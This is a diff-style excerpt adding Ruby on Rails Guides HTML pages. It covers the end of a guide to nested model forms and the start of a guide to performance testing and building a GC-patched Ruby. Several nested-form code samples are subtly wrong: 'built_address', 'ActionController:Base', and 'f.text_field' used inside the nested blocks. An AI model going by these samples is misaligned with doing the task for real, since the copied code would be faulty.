+<p>For an ActiveRecord::Base model and association this writer method is commonly defined with the <tt>accepts_nested_attributes_for</tt> class method:</p>
+<h5 id="has_one">1.1.1 has_one</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="belongs_to">1.1.2 belongs_to</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="has_many-has_and_belongs_to_many">1.1.3 has_many / has_and_belongs_to_many</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="custom-model">1.2 Custom model</h4>
+<p>As you might have inflected from this explanation, you <em>donโ€™t</em> necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:</p>
+<h5 id="single-associated-object">1.2.1 Single associated object</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="association-collection">1.2.2 Association collection</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>See (<span class="caps">TODO</span>) in the advanced section for more information on how to deal with the <span class="caps">CRUD</span> operations in your custom model.</p></div>
+<h3 id="views">2 Views</h3>
+<h4 id="controller-code">2.1 Controller code</h4>
+<p>A nested model form will <em>only</em> be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.</p>
+<p>Consider the following typical RESTful controller which will prepare a new Person instance and its <tt>address</tt> and <tt>projects</tt> associations before rendering the <tt>new</tt> template:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PeopleController &lt; ActionController:Base
+  def new
+    @person = Person.new
+    @person.built_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Obviously the instantiation of the associated object(s) can become tedious and not <span class="caps">DRY</span>, so you might want to move that into the model itself. ActiveRecord::Base provides an <tt>after_initialize</tt> callback which is a good way to refactor this.</p></div>
+<h4 id="form-code">2.2 Form code</h4>
+<p>Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.</p>
+<h5 id="standard-form">2.2.1 Standard form</h5>
+<p>Start out with a regular RESTful form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person do |f| %&gt;
+  &lt;%= f.text_field :name %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This will generate the following html:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/people&quot; class=&quot;new_person&quot; id=&quot;new_person&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="nested-form-for-a-single-associated-object">2.2.2 Nested form for a single associated object</h5>
+<p>Now add a nested form for the <tt>address</tt> association:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person do |f| %&gt;
+  &lt;%= f.text_field :name %&gt;
+
+  &lt;%= f.fields_for :address do |af| %&gt;
+    &lt;%= f.text_field :street %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This generates:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/people&quot; class=&quot;new_person&quot; id=&quot;new_person&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+
+  &lt;input id=&quot;person_address_attributes_street&quot; name=&quot;person[address_attributes][street]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Notice that <tt>fields_for</tt> recognized the <tt>address</tt> as an association for which a nested model form should be build by the way it has namespaced the <tt>name</tt> attribute.</p>
+<p>When this form is posted the Rails parameter parser will construct a hash like the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{
+  &quot;person&quot; =&gt; {
+    &quot;name&quot; =&gt; &quot;Eloy Duran&quot;,
+    &quot;address_attributes&quot; =&gt; {
+      &quot;street&quot; =&gt; &quot;Nieuwe Prinsengracht&quot;
+    }
+  }
+}
+</pre>
+</div>
+</notextile>
+
+<p>Thatโ€™s it. The controller will simply pass this hash on to the model from the <tt>create</tt> action. The model will then handle building the <tt>address</tt> association for you and automatically save it when the parent (<tt>person</tt>) is saved.</p>
+<h5 id="nested-form-for-a-collection-of-associated-objects">2.2.3 Nested form for a collection of associated objects</h5>
+<p>The form code for an association collection is pretty similar to that of a single associated object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for @person do |f| %&gt;
+  &lt;%= f.text_field :name %&gt;
+
+  &lt;%= f.fields_for :projects do |pf| %&gt;
+    &lt;%= f.text_field :name %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Which generates:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/people&quot; class=&quot;new_person&quot; id=&quot;new_person&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+
+  &lt;input id=&quot;person_projects_attributes_0_name&quot; name=&quot;person[projects_attributes][0][name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input id=&quot;person_projects_attributes_1_name&quot; name=&quot;person[projects_attributes][1][name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>As you can see it has generated 2 <tt>project name</tt> inputs, one for each new <tt>project</tt> thatโ€™s build in the controllers <tt>new</tt> action. Only this time the <tt>name</tt> attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{
+  &quot;person&quot; =&gt; {
+    &quot;name&quot; =&gt; &quot;Eloy Duran&quot;,
+    &quot;projects_attributes&quot; =&gt; {
+      &quot;0&quot; =&gt; { &quot;name&quot; =&gt; &quot;Project 1&quot; },
+      &quot;1&quot; =&gt; { &quot;name&quot; =&gt; &quot;Project 2&quot; }
+    }
+  }
+}
+</pre>
+</div>
+</notextile>
+
+<p>You can basically see the <tt>projects_attributes</tt> hash as an array of attribute hashes. One for each model instance.</p>
+<div class='note'><p>The reason that <tt>fields_for</tt> constructed a form which would result in a hash instead of an array is that it won&#8217;t work for any forms nested deeper than one level deep.</p></div>
+<div class='info'><p>You <em>can</em> however pass an array to the writer method generated by <tt>accepts_nested_attributes_for</tt> if you&#8217;re using plain Ruby or some other <span class="caps">API</span> access. See (<span class="caps">TODO</span>) for more info and example.</p></div>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/performance_testing.html
@@ -0,0 +1,658 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Performance Testing Rails Applications</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Performance Testing Rails Applications</h2>
+<p>This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Understand the various types of benchmarking and profiling metrics</li>
+	<li>Generate performance and benchmarking tests</li>
+	<li>Use a GC-patched Ruby binary to measure memory usage and object allocation</li>
+	<li>Understand the benchmarking information provided by Rails inside the log files</li>
+	<li>Learn about various tools facilitating benchmarking and profiling</li>
+</ul>
+<p>Performance testing is an integral part of the development cycle. It is very important that you don&#8217;t make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#performance-test-cases">Performance Test Cases</a><ul><li><a href="#generating-performance-tests">Generating Performance Tests</a></li> <li><a href="#examples">Examples</a></li> <li><a href="#modes">Modes</a></li> <li><a href="#metrics">Metrics</a></li> <li><a href="#understanding-the-output">Understanding the Output</a></li> <li><a href="#tuning-test-runs">Tuning Test Runs</a></li> <li><a href="#performance-test-environment">Performance Test Environment</a></li> <li><a href="#installing-gc-patched-ruby">Installing GC-Patched Ruby</a></li></ul></li><li><a href="#command-line-tools">Command Line Tools</a><ul><li><a href="#benchmarker"><tt>benchmarker</tt></a></li> <li><a href="#profiler"><tt>profiler</tt></a></li></ul></li><li><a href="#helper-methods">Helper Methods</a><ul><li><a href="#model">Model</a></li> <li><a href="#controller">Controller</a></li> <li><a href="#view">View</a></li></ul></li><li><a href="#request-logging">Request Logging</a></li><li><a href="#useful-links">Useful Links</a><ul><li><a href="#rails-plugins-and-gems">Rails Plugins and Gems</a></li> <li><a href="#generic-tools">Generic Tools</a></li> <li><a href="#tutorials-and-documentation">Tutorials and Documentation</a></li></ul></li><li><a href="#commercial-products">Commercial Products</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="performance-test-cases">1 Performance Test Cases</h3>
+<p>Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application&#8217;s memory or speed problems are coming from, and get a more in-depth picture of those problems.</p>
+<p>In a freshly generated Rails application, <tt>test/performance/browsing_test.rb</tt> contains an example of a performance test:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+require 'rails/performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest &lt; ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This example is a simple performance test case for profiling a <span class="caps">GET</span> request to the application&#8217;s homepage.</p>
+<h4 id="generating-performance-tests">1.1 Generating Performance Tests</h4>
+<p>Rails provides a generator called <tt>test_unit:performance</tt> for creating new performance tests:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate test_unit:performance homepage
+</pre>
+</div>
+</notextile>
+
+<p>This generates <tt>homepage_test.rb</tt> in the <tt>test/performance</tt> directory:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class HomepageTest &lt; ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="examples">1.2 Examples</h4>
+<p>Let&#8217;s assume your application has the following controller and model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# routes.rb
+map.root :controller =&gt; 'home'
+map.resources :posts
+
+# home_controller.rb
+class HomeController &lt; ApplicationController
+  def dashboard
+    @users = User.last_ten(:include =&gt; :avatars)
+    @posts = Post.all_today
+  end
+end
+
+# posts_controller.rb
+class PostsController &lt; ApplicationController
+  def create
+    @post = Post.create(params[:post])
+    redirect_to(@post)
+  end
+end
+
+# post.rb
+class Post &lt; ActiveRecord::Base
+  before_save :recalculate_costly_stats
+
+  def slow_method
+    # I fire gallzilion queries sleeping all around
+  end
+
+  private
+
+  def recalculate_costly_stats
+    # CPU heavy calculations
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h5 id="controller-example">1.2.1 Controller Example</h5>
+<p>Because performance tests are a special kind of integration test, you can use the <tt>get</tt> and <tt>post</tt> methods in them.</p>
+<p>Here&#8217;s the performance test for <tt>HomeController#dashboard</tt> and <tt>PostsController#create</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class PostPerformanceTest &lt; ActionController::PerformanceTest
+  def setup
+    # Application requires logged-in user
+    login_as(:lifo)
+  end
+
+  def test_homepage
+    get '/dashboard'
+  end
+
+  def test_creating_new_post
+    post '/posts', :post =&gt; { :body =&gt; 'lifo is fooling you' }
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can find more details about the <tt>get</tt> and <tt>post</tt> methods in the <a href="testing.html">Testing Rails Applications</a> guide.</p>
+<h5 id="model-example">1.2.2 Model Example</h5>
+<p>Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.</p>
+<p>Performance test for <tt>Post</tt> model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+require 'rails/performance_test_help'
+
+class PostModelTest &lt; ActionController::PerformanceTest
+  def test_creation
+    Post.create :body =&gt; 'still fooling you', :cost =&gt; '100'
+  end
+
+  def test_slow_method
+    # Using posts(:awesome) fixture
+    posts(:awesome).slow_method
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="modes">1.3 Modes</h4>
+<p>Performance tests can be run in two modes: Benchmarking and Profiling.</p>
+<h5 id="benchmarking">1.3.1 Benchmarking</h5>
+<p>Benchmarking helps find out how fast each performance test runs. Each test case is run <tt>4 times</tt> in benchmarking mode.</p>
+<p>To run performance tests in benchmarking mode:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake test:benchmark
+</pre>
+</div>
+</notextile>
+
+<h5 id="profiling">1.3.2 Profiling</h5>
+<p>Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run <tt>1 time</tt> in profiling mode.</p>
+<p>To run performance tests in profiling mode:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake test:profile
+</pre>
+</div>
+</notextile>
+
+<h4 id="metrics">1.4 Metrics</h4>
+<p>Benchmarking and profiling run performance tests in various modes described below.</p>
+<h5 id="wall-time">1.4.1 Wall Time</h5>
+<p>Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.</p>
+<p>Mode: Benchmarking</p>
+<h5 id="process-time">1.4.2 Process Time</h5>
+<p>Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.</p>
+<p>Mode: Profiling</p>
+<h5 id="memory">1.4.3 Memory</h5>
+<p>Memory measures the amount of memory used for the performance test case.</p>
+<p>Mode: Benchmarking, Profiling <a href="#installing-gc-patched-ruby">Requires GC Patched Ruby</a></p>
+<h5 id="objects">1.4.4 Objects</h5>
+<p>Objects measures the number of objects allocated for the performance test case.</p>
+<p>Mode: Benchmarking, Profiling <a href="#installing-gc-patched-ruby">Requires GC Patched Ruby</a></p>
+<h5 id="gc-runs">1.4.5 GC Runs</h5>
+<p>GC Runs measures the number of times GC was invoked for the performance test case.</p>
+<p>Mode: Benchmarking <a href="#installing-gc-patched-ruby">Requires GC Patched Ruby</a></p>
+<h5 id="gc-time">1.4.6 GC Time</h5>
+<p>GC Time measures the amount of time spent in GC for the performance test case.</p>
+<p>Mode: Benchmarking <a href="#installing-gc-patched-ruby">Requires GC Patched Ruby</a></p>
+<h4 id="understanding-the-output">1.5 Understanding the Output</h4>
+<p>Performance tests generate different outputs inside <tt>tmp/performance</tt> directory depending on their mode and metric.</p>
+<h5 id="output-benchmarking">1.5.1 Benchmarking</h5>
+<p>In benchmarking mode, performance tests generate two types of outputs:</p>
+<h6 id="output-command-line">1.5.1.1 Command Line</h6>
+<p>This is the primary form of output in benchmarking mode. Example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+BrowsingTest#test_homepage (31 ms warmup)
+           wall_time: 6 ms
+              memory: 437.27 KB
+             objects: 5514
+             gc_runs: 0
+             gc_time: 19 ms
+</pre>
+</div>
+</notextile>
+
+<h6 id="csv-files">1.5.1.2 <span class="caps">CSV</span> Files</h6>
+<p>Performance test results are also appended to <tt>.csv</tt> files inside <tt>tmp/performance</tt>. For example, running the default <tt>BrowsingTest#test_homepage</tt> will generate following five files:</p>
+<ul>
+	<li>BrowsingTest#test_homepage_gc_runs.csv</li>
+	<li>BrowsingTest#test_homepage_gc_time.csv</li>
+	<li>BrowsingTest#test_homepage_memory.csv</li>
+	<li>BrowsingTest#test_homepage_objects.csv</li>
+	<li>BrowsingTest#test_homepage_wall_time.csv</li>
+</ul>
+<p>As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.</p>
+<p>Sample output of <tt>BrowsingTest#test_homepage_wall_time.csv</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+measurement,created_at,app,rails,ruby,platform
+0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
+</pre>
+</div>
+</notextile>
+
+<h5 id="output-profiling">1.5.2 Profiling</h5>
+<p>In profiling mode, you can choose from four types of output.</p>
+<h6 id="command-line">1.5.2.1 Command Line</h6>
+<p>This is a very basic form of output in profiling mode:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+BrowsingTest#test_homepage (58 ms warmup)
+        process_time: 63 ms
+              memory: 832.13 KB
+             objects: 7882
+</pre>
+</div>
+</notextile>
+
+<h6 id="flat">1.5.2.2 Flat</h6>
+<p>Flat output shows the total amount of time spent in each method. <a href="http://ruby-prof.rubyforge.org/files/examples/flat_txt.html">Check ruby prof documentation for a better explanation</a>.</p>
+<h6 id="graph">1.5.2.3 Graph</h6>
+<p>Graph output shows how long each method takes to run, which methods call it and which methods it calls. <a href="http://ruby-prof.rubyforge.org/files/examples/graph_txt.html">Check ruby prof documentation for a better explanation</a>.</p>
+<h6 id="tree">1.5.2.4 Tree</h6>
+<p>Tree output is profiling information in calltree format for use by <a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a> and similar tools.</p>
+<h4 id="tuning-test-runs">1.6 Tuning Test Runs</h4>
+<p>By default, each performance test is run <tt>4 times</tt> in benchmarking mode and <tt>1 time</tt> in profiling. However, test runs can easily be configured.</p>
+<div class='warning'><p>Performance test configurability is not yet enabled in Rails. But it will be soon.</p></div>
+<h4 id="performance-test-environment">1.7 Performance Test Environment</h4>
+<p>Performance tests are run in the <tt>test</tt> environment. But running performance tests will set the following configuration parameters:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+</pre>
+</div>
+</notextile>
+
+<p>As <tt>ActionController::Base.perform_caching</tt> is set to <tt>true</tt>, performance tests will behave much as they do in the <tt>production</tt> environment.</p>
+<h4 id="installing-gc-patched-ruby">1.8 Installing GC-Patched Ruby</h4>
+<p>To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers &#8211; <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC patch</a> for measuring GC Runs/Time and memory/object allocation.</p>
+<p>The process is fairly straightforward. If you&#8217;ve never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:</p>
+<h5 id="installation">1.8.1 Installation</h5>
+<p>Compile Ruby and apply this <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC Patch</a>.</p>
+<h5 id="download-and-extract">1.8.2 Download and Extract</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget &lt;download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby&gt;
+[lifo@null ~]$ tar -xzvf &lt;ruby-version.tar.gz&gt;
+[lifo@null ~]$ cd &lt;ruby-version&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="apply-the-patch">1.8.3 Apply the Patch</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+</pre>
+</div>
+</notextile>
+
+<h5 id="configure-and-install">1.8.4 Configure and Install</h5>
+<p>The following will install ruby in your home directory&#8217;s <tt>/rubygc</tt> directory. Make sure to replace <tt>&lt;homedir&gt;</tt> with a full patch to your actual home directory.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null ruby-version]$ ./configure --prefix=/&lt;homedir&gt;/rubygc
+[lifo@null ruby-version]$ make &amp;&amp; make install
+</pre>
+</div>
+</notextile>
+
+<h5 id="prepare-aliases">1.8.5 Prepare Aliases</h5>
+<p>For convenience, add the following lines in your <tt>~/.profile</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'
+</pre>
+</div>
+</notextile>
+
+<h5 id="install-rubygems-and-dependency-gems">1.8.6 Install Rubygems and Dependency Gems</h5>
+<p>Download <a href="http://rubyforge.org/projects/rubygems">Rubygems</a> and install it from source. Rubygem&#8217;s <span class="caps">README</span> file should have necessary installation instructions.</p>
+<p>Additionally, install the following gems:</p>
+<ul>
+	<li><tt>rake</tt></li>
+	<li><tt>rails</tt></li>
+	<li><tt>ruby-prof</tt></li>
+	<li><tt>rack</tt></li>
+	<li><tt>mysql</tt></li>
+</ul>
+<p>If installing <tt>mysql</tt> fails, you can try to install it manually:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql]$ make &amp;&amp; make install
+</pre>
+</div>
+</notextile>
+
+<p>And you&#8217;re ready to go. Don&#8217;t forget to use <tt>gcruby</tt> and <tt>gcrake</tt> aliases when running the performance tests.</p>
+<h3 id="command-line-tools">2 Command Line Tools</h3>
+<p>Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:</p>
+<h4 id="benchmarker">2.1 <tt>benchmarker</tt></h4>
